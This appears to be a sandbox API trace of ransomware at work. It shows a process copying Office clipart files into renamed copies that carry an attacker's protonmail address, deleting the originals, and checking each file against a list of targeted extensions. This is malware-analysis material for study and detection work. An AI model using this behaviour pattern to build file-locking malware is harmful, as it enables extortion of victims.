	[0195.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.492] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20136) returned 1
	[0195.492] CloseHandle (hObject=0x5bc) returned 1
	[0195.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220
	[0195.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.493] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.493] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.494] GetLastError () returned 0x0
	[0195.494] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4ea8, lpOverlapped=0x0) returned 1
	[0195.663] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4eb0, lpOverlapped=0x0) returned 1
	[0195.664] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.664] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.664] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.664] CloseHandle (hObject=0x5dc) returned 1
	[0195.664] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.664] SetEndOfFile (hFile=0x5bc) returned 1
	[0195.667] CloseHandle (hObject=0x5bc) returned 1
	[0195.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1
	[0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.669] lstrlenW (lpString=".doc") returned 4
	[0195.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.669] lstrlenW (lpString=".docx") returned 5
	[0195.669] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.669] lstrlenW (lpString=".pdf") returned 4
	[0195.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.669] lstrlenW (lpString=".xls") returned 4
	[0195.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.669] lstrlenW (lpString=".xlsx") returned 5
	[0195.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.669] lstrlenW (lpString=".ppt") returned 4
	[0195.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.669] lstrlenW (lpString=".zip") returned 4
	[0195.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.669] lstrlenW (lpString=".rar") returned 4
	[0195.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.669] lstrlenW (lpString=".bz2") returned 4
	[0195.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString=".7z") returned 3
	[0195.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString=".dbf") returned 4
	[0195.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString=".1cd") returned 4
	[0195.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString=".jpg") returned 4
	[0195.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString=".doc") returned 4
	[0195.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString=".docx") returned 5
	[0195.670] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.670] lstrlenW (lpString=".pdf") returned 4
	[0195.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString=".xls") returned 4
	[0195.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.670] lstrlenW (lpString=".xlsx") returned 5
	[0195.670] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.670] lstrlenW (lpString=".ppt") returned 4
	[0195.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.670] lstrlenW (lpString=".zip") returned 4
	[0195.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.670] lstrlenW (lpString=".rar") returned 4
	[0195.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.670] lstrlenW (lpString=".bz2") returned 4
	[0195.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.671] lstrlenW (lpString=".7z") returned 3
	[0195.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.671] lstrlenW (lpString=".dbf") returned 4
	[0195.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.671] lstrlenW (lpString=".1cd") returned 4
	[0195.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0195.671] lstrlenW (lpString=".jpg") returned 4
	[0195.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.671] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.671] lstrlenW (lpString="J0107188.WMF") returned 12
	[0195.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.673] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4536) returned 1
	[0195.673] CloseHandle (hObject=0x5bc) returned 1
	[0195.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220
	[0195.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.673] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.673] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.674] GetLastError () returned 0x0
	[0195.674] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x11b8, lpOverlapped=0x0) returned 1
	[0195.676] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x11c0, lpOverlapped=0x0) returned 1
	[0195.677] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.677] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.677] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.677] CloseHandle (hObject=0x5dc) returned 1
	[0195.677] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.677] SetEndOfFile (hFile=0x5bc) returned 1
	[0195.680] CloseHandle (hObject=0x5bc) returned 1
	[0195.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1
	[0195.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.683] lstrlenW (lpString=".doc") returned 4
	[0195.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.683] lstrlenW (lpString=".docx") returned 5
	[0195.683] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.683] lstrlenW (lpString=".pdf") returned 4
	[0195.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.683] lstrlenW (lpString=".xls") returned 4
	[0195.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.683] lstrlenW (lpString=".xlsx") returned 5
	[0195.683] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.683] lstrlenW (lpString=".ppt") returned 4
	[0195.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.683] lstrlenW (lpString=".zip") returned 4
	[0195.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.683] lstrlenW (lpString=".rar") returned 4
	[0195.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.683] lstrlenW (lpString=".bz2") returned 4
	[0195.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.683] lstrlenW (lpString=".7z") returned 3
	[0195.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString=".dbf") returned 4
	[0195.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString=".1cd") returned 4
	[0195.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString=".jpg") returned 4
	[0195.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString=".doc") returned 4
	[0195.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString=".docx") returned 5
	[0195.684] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0195.684] lstrlenW (lpString=".pdf") returned 4
	[0195.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString=".xls") returned 4
	[0195.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.684] lstrlenW (lpString=".xlsx") returned 5
	[0195.684] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0195.684] lstrlenW (lpString=".ppt") returned 4
	[0195.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.684] lstrlenW (lpString=".zip") returned 4
	[0195.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.684] lstrlenW (lpString=".rar") returned 4
	[0195.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString=".bz2") returned 4
	[0195.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.684] lstrlenW (lpString=".7z") returned 3
	[0195.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.685] lstrlenW (lpString=".dbf") returned 4
	[0195.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.685] lstrlenW (lpString=".1cd") returned 4
	[0195.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0195.685] lstrlenW (lpString=".jpg") returned 4
	[0195.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.685] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.685] lstrlenW (lpString="J0107192.WMF") returned 12
	[0195.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.686] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9968) returned 1
	[0195.686] CloseHandle (hObject=0x5bc) returned 1
	[0195.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220
	[0195.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0195.686] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.686] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.687] GetLastError () returned 0x0
	[0195.687] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x26f0, lpOverlapped=0x0) returned 1
	[0195.689] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2700, lpOverlapped=0x0) returned 1
	[0195.690] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.690] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.690] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.691] CloseHandle (hObject=0x5dc) returned 1
	[0195.691] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.691] SetEndOfFile (hFile=0x5bc) returned 1
	[0195.693] CloseHandle (hObject=0x5bc) returned 1
	[0195.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1
	[0195.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.695] lstrlenW (lpString=".doc") returned 4
	[0195.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString=".docx") returned 5
	[0195.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.695] lstrlenW (lpString=".pdf") returned 4
	[0195.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString=".xls") returned 4
	[0195.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.695] lstrlenW (lpString=".xlsx") returned 5
	[0195.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.695] lstrlenW (lpString=".ppt") returned 4
	[0195.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.695] lstrlenW (lpString=".zip") returned 4
	[0195.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.695] lstrlenW (lpString=".rar") returned 4
	[0195.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString=".bz2") returned 4
	[0195.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString=".7z") returned 3
	[0195.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.695] lstrlenW (lpString=".dbf") returned 4
	[0195.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.695] lstrlenW (lpString=".1cd") returned 4
	[0195.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString=".jpg") returned 4
	[0195.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString=".doc") returned 4
	[0195.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString=".docx") returned 5
	[0195.696] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.696] lstrlenW (lpString=".pdf") returned 4
	[0195.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString=".xls") returned 4
	[0195.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.696] lstrlenW (lpString=".xlsx") returned 5
	[0195.696] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.696] lstrlenW (lpString=".ppt") returned 4
	[0195.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString=".zip") returned 4
	[0195.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.696] lstrlenW (lpString=".rar") returned 4
	[0195.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString=".bz2") returned 4
	[0195.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString=".7z") returned 3
	[0195.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString=".dbf") returned 4
	[0195.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.696] lstrlenW (lpString=".1cd") returned 4
	[0195.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0195.697] lstrlenW (lpString=".jpg") returned 4
	[0195.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.697] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.697] lstrlenW (lpString="J0107254.WMF") returned 12
